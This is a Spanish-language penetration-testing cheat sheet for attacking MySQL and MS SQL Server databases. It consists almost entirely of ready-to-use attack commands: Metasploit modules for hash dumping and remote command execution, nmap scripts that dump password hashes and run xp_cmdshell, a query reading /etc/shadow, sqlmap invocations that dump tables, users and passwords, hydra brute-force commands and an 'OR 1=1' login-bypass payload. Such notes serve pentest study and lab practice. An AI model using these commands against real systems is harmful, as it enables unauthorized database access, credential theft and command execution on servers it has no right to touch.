Enumeración

Metasploit

search type:auxiliary name:mysql
####A través de Mysql con metasploit podemos realizar un escaneo de directorios con permisos de escritura en el sistema.

use auxiliary/scanner/mysql/mysql_writable_dirs

#### Hashdump de usuarios
use auxiliary/scanner/mysql/mysql_hashdump

# Enumeracion del sistema (muy útil)
use auxiliary/admin/mssql/mssql_enum

Historial SQL

En ocasiones si el historial está visible, podemos encontrar credenciales en el fichero .mysql.history

Ver contenido fichero .sql

Cuando encontramos un backup de bases de datos, podemos primero probar a hacer un cat al fichero:

cat mysql_backup.sql

Enumeracion con nmap

nmap <ip> -sV -p 3306 --script mysql-empty-password
nmap <ip> -sV -p 3306 --script mysq-info

#Enumerar usuarios bbdd teniendo ya algun usuario de la bbdd
nmap <ip> -sV -p 3306 --script mysql-users --script-args="mysqluser='<usuario>',mysqlpass='<pass>'"

#Enumerar bbdd teniendo ya algun usuario de la bbdd
nmap <ip> -sV -p 3306 --script mysql-databases --script-args="mysqluser='<usuario>',mysqlpass='<pass>'"

#Enumerar hashes 
nmap <ip> -sV -p 3306 --script mysql-dump-hashes --script-args="username='<usuario>',password='<pass>'"

Conexion a la BBDD

Con Metasploit

use auxiliary/admin/mysql/mysql_sql

## Rellenar datos de conexión a la bbdd
-------------------------------------------------
## Comandos metasploit
set SQL show databases;
run
set SQL use <database_name>;
run
use auxiliary/admin/mysql/mysql_schemadump
## Rellenar datos de conexión a la bbdd
-------------------------------------------------
## Comandos metasploit
services
loot
creds

Mysql Basics

mysql -h <ip> -u <usuario> (la pass mejor meterla cuando la pida luego)

mysql -u <usuario> -p<contraseña> -h <servidor> <nombre_de_base_de_datos>

show databases;
use <database_name>;
show tables;
select * from <tabla>;
select * from <tabla> where <condicion> = / > / < <argumento>;

#### LEER FICHEROS DEL SISTEMA
select load_file("/etc/shadow");

#### ver version mysql
SELECT VERSION();

#### ver version mysql desde la maquina sin credenciales
mysql -V
mysql --version

SQLMap

SQLinjection a un formulario

Se puede tratar de intentar una inyección SQL contra un panel de login, por ejemplo. También contra una url que parece ser sospechosa de estar haciendo una consulta SQL, por ejemplo: http://ip/products.php?id=7

Cuando se trata de una SQLi contra un panel de login, se deben añadir los siguientes parámetros, y de la siguiente manera:

--forms --batch

# --forms justo después de la URL, y --batch al final de la sentencia, ejemplo:
sqlmap -u "http://example.com/index.php?id=1" --forms --dbs --batch

SQL Injection con request

Teniendo una petición a un sitio donde podamos tratar de inyectar código, por ejemplo un cambio de email o contraseña dentro de un perfil, el cual tenemos credenciales, y por ende una cookie de sesión. Podemos interceptar una petición con burpsuite como esta:

GET /dashboard.php?id=1 HTTP/1.1

Host: 192.168.117.130

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Connection: close

Cookie: PHPSESSID=i5224dcks25bqcmpm6udhgnmmm

Upgrade-Insecure-Requests: 1

Metemos esto en un fichero llamado “request” y lo siguiente es:

sqlmap -r request --dbs --batch

Enumerar datos de la BBDD

# Enumerar bases de datos
sqlmap -u "http://example.com/index.php?id=1" --dbs

# Enumerar tablas de una base de datos
sqlmap -u "http://example.com/index.php?id=1" -D <nombre_bbdd> --tables

# Enumerar columnas de una tabla
sqlmap -u "http://example.com/index.php?id=1" -D <nombre_bbdd> -T <nombre_tabla> --columns

# Enumerar todos los datos de una tabla (con sus columnas)
sqlmap -u "http://example.com/index.php?id=1" -D <nombre_bbdd> -T <nombre_tabla> --dump

# Enumerar datos de ciertas columnas
sqlmap -u "http://example.com/index.php?id=1" -D <nombre_bbdd> -T <nombre_tabla> -C columna1,columna2 --dump

Comandos avanzados

# shell interactiva con la base de datos
sqlmap -u "http://example.com/index.php?id=1"

# consulta personalizada
sqlmap -u "http://example.com/index.php?id=1" -D <nombre_bbdd> -sql-query "SELECT * FROM ..."

# Listar usuarios y contraseñas de la bbdd
sqlmap -u "http://example.com/index.php?id=1" --users --passwords

Fuerza bruta contra BBDD

hydra -l <usuario_conocido> -P <diccionario> mysql://<ip>
use auxiliary/scanner/mysql/mysql_login

#Microsoft SQL Server
nmap <ip> -p 1433 --script ms-sql-brute --script-args userdb=diccionario.txt,passdb=rockyou.txt

Manual SQL injection

Basic login bypass

En el campo username, se puede tratar de introducir lo siguiente

test 'OR 1 = 1;-- -

SQLi con Wfuzz

Lo ideal es capturar la request con burpsuite y cambiar el método a POST para ver como se tramita la petición para pasarle la URL con los parámetros a wfuzz.

```wfuzz -c -z file,/usr/share/wordlists/wfuzz/Injections/SQL.txt -u 'http://<IP>/admin.php?username=FUZZ&password=FUZZ'

Command Injection

# MS SQL Server
nmap <ip> -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=<usuario>,mssql.password=<password>,ms-sql-xp-cmdshell.cmd="<comando>"

use auxiliary/admin/mssql/mssql_exec